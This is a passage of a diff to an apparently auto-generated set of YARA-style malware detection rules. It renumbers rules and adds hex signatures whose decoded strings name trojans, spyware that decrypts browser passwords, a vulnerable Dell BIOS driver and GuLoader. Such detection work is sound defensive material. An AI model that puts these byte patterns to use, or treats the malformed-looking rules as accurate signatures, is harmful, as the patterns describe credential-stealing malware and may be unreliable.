1)*-17966) >=2 } -rule _InfrastructureShared_8193{ +rule _InfrastructureShared_8684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -86873,7 +92147,7 @@ rule _InfrastructureShared_8193{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*17334) >=2 } -rule _InfrastructureShared_8194{ +rule _InfrastructureShared_8685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -86885,7 +92159,7 @@ rule _InfrastructureShared_8194{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*8306+(#a_46_2 & 1)*12848) >=2 } -rule _InfrastructureShared_8195{ +rule _InfrastructureShared_8686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -86897,7 +92171,7 @@ rule _InfrastructureShared_8195{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*17459+(#a_43_2 & 1)*12851) >=2 } -rule _InfrastructureShared_8196{ +rule _InfrastructureShared_8687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -86909,7 +92183,7 @@ rule _InfrastructureShared_8196{ ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*257+(#a_4f_2 & 1)*17746) >=2 } -rule _InfrastructureShared_8197{ +rule _InfrastructureShared_8688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -86921,7 +92195,7 @@ rule _InfrastructureShared_8197{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*18783+(#a_90_3 & 1)*8194) >=2 } -rule _InfrastructureShared_8198{ +rule _InfrastructureShared_8689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -86933,30 +92207,43 @@ rule _InfrastructureShared_8198{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*8298+(#a_90_2 & 1)*3120) >=3 } -rule _InfrastructureShared_8199{ +rule _InfrastructureShared_8690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {48 53 54 52 3a 54 72 6f 6a 61 6e 2e 57 69 6e 33 32 2f 49 6e 6a 65 63 74 2e 5a 46 21 62 69 74 00 01 00 16 03 ff 8a 8c 15 90 01 04 8b 45 90 01 01 8b 95 90 01 04 30 0c 10 90 00 01 00 1d 03 ff 30 0c 02 90 09 11 00 8a 8c 15 90 01 04 } //16675 $a_01_1 = {01 8b 10 8b 85 90 01 02 ff 90 00 01 00 12 03 8a 04 11 8b 95 90 01 04 8b 8d 90 01 04 30 04 0a 90 00 00 00 78 7f 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 67 67 65 72 74 6f 6f 74 68 2e 44 21 64 68 61 00 01 00 14 03 52 65 6d 6f 76 65 90 01 01 53 6f 6c 61 72 2e 65 78 65 90 00 01 00 0c 01 6d 65 72 63 75 72 79 54 6f 53 75 6e 01 00 27 01 53 6f 6c 61 72 49 6e 74 72 6f 64 75 63 74 69 6f 6e 00 45 } //17803 - $a_70_2 = {69 6f 6e 00 6d 6f 6f 6e 00 72 6e 00 52 75 6e 00 00 78 7f 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 21 4d 54 42 00 01 00 1e 01 48 00 75 00 4a 00 69 00 6e 00 67 00 75 00 61 00 6e 00 67 00 3b 00 5a 00 65 00 6a 00 65 00 01 00 1e 01 6f 00 68 00 53 } //25464 + $a_70_2 = {69 6f 6e 00 6d 6f 6f 6e 00 72 6e 00 52 75 6e 00 00 78 7f 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 36 34 2f 46 6c 6f 61 74 69 6e 67 52 65 6c 69 63 73 2e 41 21 64 68 61 00 01 00 1d 01 2f 42 4f 54 5f 53 65 72 76 65 72 2f 77 65 62 2d 70 72 6f 78 79 2f } //25464 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*17803+(#a_70_2 & 1)*25464) >=3 } -rule _InfrastructureShared_8200{ +rule _InfrastructureShared_8691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 67 67 65 72 74 6f 6f 74 68 2e 44 21 64 68 61 00 01 00 14 03 52 65 6d 6f 76 65 90 01 01 53 6f 6c 61 72 2e 65 78 65 90 00 01 00 0c 01 6d 65 72 63 75 72 79 54 6f 53 75 6e 01 00 27 01 53 6f } //16675 - $a_49_1 = {74 72 6f 64 75 63 74 69 6f 6e 00 45 78 63 65 70 74 69 6f 6e 00 6d 6f 6f 6e 00 72 6e 00 52 75 6e 00 00 78 7f 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 21 4d 54 42 00 01 00 1e 01 48 00 75 00 4a 00 69 00 6e 00 67 00 75 00 61 00 6e 00 67 00 3b 00 5a 00 65 00 6a 00 65 00 01 00 1e 01 6f } //24940 + $a_49_1 = {74 72 6f 64 75 63 74 69 6f 6e 00 45 78 63 65 70 74 69 6f 6e 00 6d 6f 6f 6e 00 72 6e 00 52 75 6e 00 00 78 7f 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 36 34 2f 46 6c 6f 61 74 69 6e 67 52 65 6c 69 63 73 2e 41 21 64 68 61 00 01 00 1d 01 2f 42 4f 54 5f 53 65 72 76 65 72 2f 77 65 62 2d 70 72 } //24940 + $a_2f_2 = {61 69 6e 2e 67 6f 01 00 0e 01 6d 61 69 6e 2e 67 65 74 55 73 65 72 49 50 01 00 10 01 6d 61 69 6e 2e 68 61 6e 64 6c 65 50 72 6f 78 79 00 00 78 7f 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 21 4d 54 42 00 01 00 1e 01 48 00 75 00 4a 00 69 00 6e 00 67 00 75 00 61 00 6e 00 67 00 3b 00 5a 00 65 00 6a 00 65 00 } //30831 condition: - ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*24940) >=3 + ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*24940+(#a_2f_2 & 1)*30831) >=3 } -rule _InfrastructureShared_8201{ +rule _InfrastructureShared_8692{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 36 34 2f 46 6c 6f 61 74 69 6e 67 52 65 6c 69 63 73 2e 41 21 64 68 61 00 01 00 1d 01 2f 42 4f 54 5f 53 65 72 76 65 72 2f 77 65 62 2d 70 72 6f 78 79 2f 6d 61 69 6e 2e 67 6f 01 } //16675 + $a_6d_1 = {69 } //3584 i + $a_65_2 = {55 73 65 72 49 50 01 00 10 01 6d 61 69 6e 2e 68 61 6e 64 6c 65 50 72 6f 78 79 00 00 78 7f 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 21 4d 54 42 00 01 00 1e 01 48 00 75 00 4a 00 69 00 6e 00 67 00 75 00 61 00 6e 00 67 00 3b 00 5a 00 65 00 6a 00 65 00 } //11886 + condition: + ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*3584+(#a_65_2 & 1)*11886) >=3 + +} +rule _InfrastructureShared_8693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -86968,7 +92255,7 @@ rule _InfrastructureShared_8201{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105+(#a_61_2 & 1)*28530) >=3 } -rule _InfrastructureShared_8202{ +rule _InfrastructureShared_8694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -86980,7 +92267,7 @@ rule _InfrastructureShared_8202{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*14381+(#a_73_2 & 1)*26113) >=3 } -rule _InfrastructureShared_8203{ +rule _InfrastructureShared_8695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -86992,7 +92279,7 @@ rule _InfrastructureShared_8203{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25455+(#a_6b_2 & 1)*29300) >=3 } -rule _InfrastructureShared_8204{ +rule _InfrastructureShared_8696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -87004,7 +92291,7 @@ rule _InfrastructureShared_8204{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27745+(#a_65_2 & 1)*385) >=3 } -rule _InfrastructureShared_8205{ +rule _InfrastructureShared_8697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -87016,18 +92303,30 @@ rule _InfrastructureShared_8205{ ((#a_46_0 & 1)*21283+(#a_89_1 & 1)*-7999+(#a_8b_2 & 1)*6912) >=3 } -rule _InfrastructureShared_8206{ +rule _InfrastructureShared_8698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {57 69 6e 36 34 2f 53 68 65 6c 45 78 69 7a 2e 43 21 4d 54 42 00 01 00 2b 03 33 c9 ba 14 01 00 00 41 b8 00 30 00 00 44 8d 90 01 02 ff 15 90 01 04 48 8d 90 01 03 41 b8 02 00 00 00 4c 8b d0 48 8b d0 66 90 00 01 } //21539 - $a_48_2 = {44 24 28 33 d2 89 44 24 20 ff 15 01 00 13 00 f7 eb 03 d3 c1 fa 03 8b ca c1 e9 1f 03 d1 6b ca 0f 2b d9 00 00 78 7f 00 00 03 00 03 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4c 69 62 72 61 72 79 3a 53 30 30 31 00 01 00 0b 01 41 44 44 55 52 4c 5f 46 4c 41 47 01 00 12 01 45 78 70 6c 6f 72 65 72 55 72 6c 48 69 73 74 6f 72 79 01 00 11 01 44 65 63 72 79 70 74 49 65 50 61 73 73 77 6f 72 64 01 00 17 01 52 65 63 6f 76 65 72 65 64 42 72 6f 77 73 65 72 41 63 63 6f 75 6e 74 00 00 78 7f 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e } //13072 + $a_48_2 = {44 24 28 33 d2 89 44 24 20 ff 15 01 00 13 00 f7 eb 03 d3 c1 fa 03 8b ca c1 e9 1f 03 d1 6b ca 0f 2b d9 00 00 78 7f 00 00 03 00 03 00 03 00 21 23 56 75 6c 6e 65 72 61 62 6c 65 44 72 69 76 65 72 2e 44 65 6c 6c 42 69 6f 73 55 74 69 6c 69 74 79 2e 41 00 01 00 18 01 44 65 6c 6c 20 42 49 4f 53 20 55 74 69 6c 69 74 79 20 44 72 69 76 65 72 01 00 0a 01 5c 5c 2e 5c 44 42 55 74 69 6c 01 00 24 01 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 44 00 42 00 55 00 74 00 69 00 6c 00 00 00 78 7f 00 00 03 00 03 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a } //13072 condition: ((#a_4c_0 & 1)*21539+(#a_48_2 & 1)*13072) >=3 } -rule _InfrastructureShared_8207{ +rule _InfrastructureShared_8699{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_6c_0 = {65 72 61 62 6c 65 44 72 69 76 65 72 2e 44 65 6c 6c 42 69 6f 73 55 74 69 6c 69 74 79 2e 41 00 01 00 18 01 44 65 6c 6c 20 42 49 4f 53 20 55 74 69 6c 69 74 79 20 44 72 69 76 65 72 01 00 0a 01 5c 5c 2e 5c 44 42 55 74 69 6c 01 00 24 01 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 44 00 42 00 55 00 74 00 69 00 6c 00 00 00 78 7f } //22051 + $a_00_1 = {03 00 04 } //0 + $a_41_2 = {46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4c 69 62 72 61 72 79 3a 53 30 30 31 00 01 00 0b 01 41 } //8448 + condition: + ((#a_6c_0 & 1)*22051+(#a_00_1 & 1)*0+(#a_41_2 & 1)*8448) >=3 + +} +rule _InfrastructureShared_8700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -87040,7 +92339,7 @@ rule _InfrastructureShared_8207{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25929+(#a_00_2 & 1)*97+(#a_65_3 & 1)*28673) >=3 } -rule _InfrastructureShared_8208{ +rule _InfrastructureShared_8701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -87053,7 +92352,7 @@ rule _InfrastructureShared_8208{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*23899+(#a_2e_2 & 1)*28532+(#a_6a_3 & 1)*29268) >=3 } -rule _InfrastructureShared_8209{ +rule _InfrastructureShared_8702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -87066,7 +92365,7 @@ rule _InfrastructureShared_8209{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_7f_3 & 1)*0) >=3 } -rule _InfrastructureShared_8210{ +rule _InfrastructureShared_8703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -87078,7 +92377,7 @@ rule _InfrastructureShared_8210{ ((#a_54_0 & 1)*18467+(#a_11_2 & 1)*5888+(#a_11_3 & 1)*2312) >=3 } -rule _InfrastructureShared_8211{ +rule _InfrastructureShared_8704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -87093,7 +92392,7 @@ rule _InfrastructureShared_8211{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28276+(#a_75_2 & 1)*2304+(#a_6f_3 & 1)*27750+(#a_8b_4 & 1)*400+(#a_7c_5 & 1)*-26320) >=3 } -rule _InfrastructureShared_8212{ +rule _InfrastructureShared_8705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -87108,7 +92407,7 @@ rule _InfrastructureShared_8212{ ((#a_54_0 & 1)*18467+(#a_73_2 & 1)*2816+(#a_74_3 & 1)*11886+(#a_24_4 & 1)*25416+(#a_f2_5 & 1)*30992+(#a_8d_6 & 1)*-10103) >=3 } -rule _InfrastructureShared_8213{ +rule _InfrastructureShared_8706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -87118,7 +92417,7 @@ rule _InfrastructureShared_8213{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_8214{ +rule _InfrastructureShared_8707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -87129,45 +92428,57 @@ rule _InfrastructureShared_8214{ ((#a_54_0 & 1)*18467+(#a_c1_1 & 1)*18472) >=4 } -rule _InfrastructureShared_8215{ +rule _InfrastructureShared_8708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 62 6c 61 6d 79 2e 4e 4c 47 21 4d 54 42 00 02 00 11 01 eb 0c 8b 4d f8 8b 45 d0 89 1c 88 ff 45 f8 83 7d f8 01 00 18 03 eb 0e 8b 45 f8 c7 44 85 e8 90 01 02 00 00 ff 45 f8 39 75 } //16675 $a_90_1 = {01 00 1c 03 89 5d f8 eb 0e 8b 45 f8 c7 44 85 90 01 02 ff ff ff ff 45 f8 83 7d f8 01 7c ec 90 00 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 51 6a 77 6d 6f 6e 6b 65 79 2e 52 4b 21 4d 54 42 00 01 00 16 01 2f 66 7a 69 70 2e 79 75 6e 62 69 61 6f 73 6f 66 74 2e 63 6f 6d 2f 01 00 0d 01 53 6f 66 74 77 61 72 65 5c 46 5a 69 70 01 00 0c 01 46 5a 69 70 43 6f 72 65 2e 64 6c 6c 01 00 14 01 55 49 45 78 74 72 61 63 74 50 61 73 73 77 6f 72 64 57 6e 64 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 6c 74 6e 65 74 00 01 00 2b 01 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 6f 66 74 77 61 72 65 5c 41 6c 74 6e 65 74 5c 50 } //31992 - $a_75_2 = {74 73 01 00 0a 01 41 4c 54 4e 45 54 5f 44 49 52 01 00 15 03 5b 41 4c 54 4e 45 54 5d 90 02 04 25 2e 2a 73 25 73 25 73 90 00 01 00 07 01 42 44 45 5f 44 49 52 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 55 72 73 6e 69 66 2e 41 56 21 4d 54 42 00 01 00 } //28530 + $a_75_2 = {74 73 01 00 0a 01 41 4c 54 4e 45 54 5f 44 49 52 01 00 15 03 5b 41 4c 54 4e 45 54 5d 90 02 04 25 2e 2a 73 25 73 25 73 90 00 01 00 07 01 42 44 45 5f 44 49 52 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4a 30 31 21 4d } //28530 condition: ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*31992+(#a_75_2 & 1)*28530) >=4 } -rule _InfrastructureShared_8216{ +rule _InfrastructureShared_8709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {41 64 77 61 72 65 3a 57 69 6e 33 32 2f 51 6a 77 6d 6f 6e 6b 65 79 2e 52 4b 21 4d 54 42 00 01 00 16 01 2f 66 7a 69 70 2e 79 75 6e 62 69 61 6f 73 6f 66 74 2e 63 6f 6d 2f 01 00 0d 01 53 6f 66 74 77 61 72 65 5c 46 5a 69 70 01 00 0c } //16675 $a_69_1 = {43 6f 72 65 2e 64 6c 6c 01 00 14 01 55 49 45 78 74 72 61 63 74 50 61 73 73 77 6f 72 64 57 6e 64 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 6c 74 6e 65 74 00 01 00 2b 01 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 } //17921 - $a_77_2 = {72 65 5c 41 6c 74 6e 65 74 5c 50 72 6f 64 75 63 74 73 01 00 0a 01 41 4c 54 4e 45 54 5f 44 49 52 01 00 15 03 5b 41 4c 54 4e 45 54 5d 90 02 04 25 2e 2a 73 25 73 25 73 90 00 01 00 07 01 42 44 45 5f 44 49 52 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 55 72 73 6e 69 66 2e 41 56 21 4d 54 42 00 01 00 } //26223 - $a_6d_3 = {6f } //-32494 o + $a_77_2 = {72 65 5c 41 6c 74 6e 65 74 5c 50 72 6f 64 75 63 74 73 01 00 0a 01 41 4c 54 4e 45 54 5f 44 49 52 01 00 15 03 5b 41 4c 54 4e 45 54 5d 90 02 04 25 2e 2a 73 25 73 25 73 90 00 01 00 07 01 42 44 45 5f 44 49 52 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4a 30 31 21 4d } //26223 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*17921+(#a_77_2 & 1)*26223+(#a_6d_3 & 1)*-32494) >=4 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*17921+(#a_77_2 & 1)*26223) >=4 } -rule _InfrastructureShared_8217{ +rule _InfrastructureShared_8710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 41 6c 74 6e 65 74 00 01 00 2b 01 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 6f 66 74 77 61 72 65 5c 41 6c 74 6e 65 74 5c 50 72 6f 64 75 63 74 73 01 00 0a 01 41 4c 54 4e 45 54 5f 44 49 52 01 00 15 03 5b 41 4c 54 4e 45 54 5d 90 02 04 25 2e 2a 73 25 73 25 73 } //16675 $a_00_1 = {07 } //144 - $a_45_2 = {44 49 52 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 55 72 73 6e 69 66 2e 41 56 21 4d 54 42 00 01 00 12 81 01 6d 6f 6f 6e 6c 69 67 68 74 5f 74 65 73 74 } //16897 - $a_6c_3 = {00 05 81 01 54 65 73 74 4d 01 00 16 81 01 5f 5f 47 4c 4f 42 41 4c 5f 48 45 41 50 5f 53 45 4c 45 43 54 45 44 01 00 14 81 01 5f 5f 4d 53 56 43 52 54 5f 48 45 41 50 5f 53 45 4c 45 43 54 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 63 63 65 73 73 54 6f 6b 65 6e 41 70 69 2e 43 00 01 00 0c 81 01 } //25646 + $a_45_2 = {44 49 52 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4a 30 31 21 4d 54 42 00 01 00 10 81 01 64 69 73 63 6f 67 72 61 70 } //16897 + $a_61_3 = {6c 79 01 00 0b 81 01 74 72 61 66 69 6b 61 6e 74 65 72 01 00 0b 81 01 64 75 63 6b 70 69 6e 2e 65 78 65 01 00 16 81 01 6f 66 66 65 72 65 72 20 75 73 65 65 20 61 66 67 72 61 65 6e 73 65 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 55 72 73 6e 69 66 } //26984 condition: - ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_45_2 & 1)*16897+(#a_6c_3 & 1)*25646) >=4 + ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_45_2 & 1)*16897+(#a_61_3 & 1)*26984) >=4 } -rule _InfrastructureShared_8218{ +rule _InfrastructureShared_8711{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4a 30 31 21 4d 54 42 00 01 00 10 81 01 64 69 73 63 6f 67 72 61 70 68 69 63 61 6c 6c 79 01 00 0b 81 01 74 72 61 66 69 6b 61 6e 74 65 72 01 00 0b 81 01 64 75 63 6b 70 69 6e 2e } //18467 + $a_01_1 = {00 16 81 01 6f 66 66 65 72 65 72 20 75 73 65 65 20 61 66 67 72 61 65 6e 73 65 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 55 72 73 6e 69 66 2e 41 56 21 4d 54 42 00 01 00 12 81 01 6d 6f 6f 6e 6c 69 67 68 74 5f 74 65 73 74 2e 64 6c 6c 01 00 05 81 01 54 } //30821 + $a_4d_2 = {00 16 81 01 5f 5f 47 4c 4f 42 41 4c 5f 48 45 41 50 5f 53 45 4c 45 43 54 45 44 01 00 14 81 01 5f 5f 4d 53 56 43 52 54 5f 48 45 41 50 5f 53 45 4c 45 43 54 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 63 63 65 73 73 54 6f 6b 65 6e 41 70 69 2e 43 00 01 00 0c 81 01 4f 70 65 6e 50 72 6f 63 65 73 73 00 01 00 11 81 01 4f } //29541 + $a_50_3 = {6f 63 65 73 73 74 6f 6b 65 6e 00 01 00 11 81 01 44 75 70 6c 69 63 61 74 65 54 6f 6b 65 6e 45 78 00 01 00 17 81 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 57 69 74 68 54 6f 6b 65 6e 00 00 00 78 7f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 4d 31 32 33 21 4d 54 42 00 01 00 1f } //25968 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*30821+(#a_4d_2 & 1)*29541+(#a_50_3 & 1)*25968) >=4 + +} +rule _InfrastructureShared_8712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -87180,7 +92491,7 @@ rule _InfrastructureShared_8218{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*17221+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_8219{ +rule _InfrastructureShared_8713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -87193,7 +92504,7 @@ rule _InfrastructureShared_8219{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*120+(#a_72_2 & 1)*385+(#a_01_3 & 1)*7936) >=4 } -rule _InfrastructureShared_8220{ +rule _InfrastructureShared_8714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -87206,7 +92517,7 @@ rule _InfrastructureShared_8220{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26224+(#a_65_2 & 1)*11880+(#a_2e_3 & 1)*24942) >=4 } -rule _InfrastructureShared_8221{ +rule _InfrastructureShared_8715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -87219,7 +92530,7 @@ rule _InfrastructureShared_8221{ ((#a_41_0 & 1)*20515+(#a_2e_1 & 1)*25441+(#a_77_2 & 1)*28267+(#a_31_3 & 1)*19795) >=4 } -rule _InfrastructureShared_8222{ +rule _InfrastructureShared_8716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -87230,7 +92541,7 @@ rule _InfrastructureShared_8222{ ((#a_5f_0 & 1)*25635+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_8223{ +rule _InfrastructureShared_8717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -87243,7 +92554,7 @@ rule _InfrastructureShared_8223{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*11824+(#a_70_3 & 1)*384+(#a_01_4 & 1)*1) >=4 } -rule _InfrastructureShared_8224{ +rule _InfrastructureShared_8718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -87257,7 +92568,7 @@ rule _InfrastructureShared_8224{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*31021+(#a_b9_2 & 1)*1280+(#a_00_3 & 1)*-28980+(#a_4b_4 & 1)*-18175) >=4 } -rule _InfrastructureShared_8225{ +rule _InfrastructureShared_8719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -87265,37 +92576,49 @@ rule _InfrastructureShared_8225{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 74 73 70 69 70 65 2e 42 21 64 68 61 00 01 00 05 01 b9 6c 40 71 8d 01 00 04 01 f4 ca dc 66 01 00 04 01 4b 4c 9c 60 01 00 05 01 b9 b2 c4 cc 8e 01 00 05 01 b9 7f 4b 4c 9f 04 00 26 01 0f } //16675 $a_d2_1 = {05 d7 84 d2 74 1a 0f 1f 40 00 69 c0 01 08 00 00 48 8d 49 01 0f b6 d2 03 c2 0f b6 11 84 d2 75 ea 00 00 78 7f 00 00 05 00 03 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 57 65 6b 72 6f 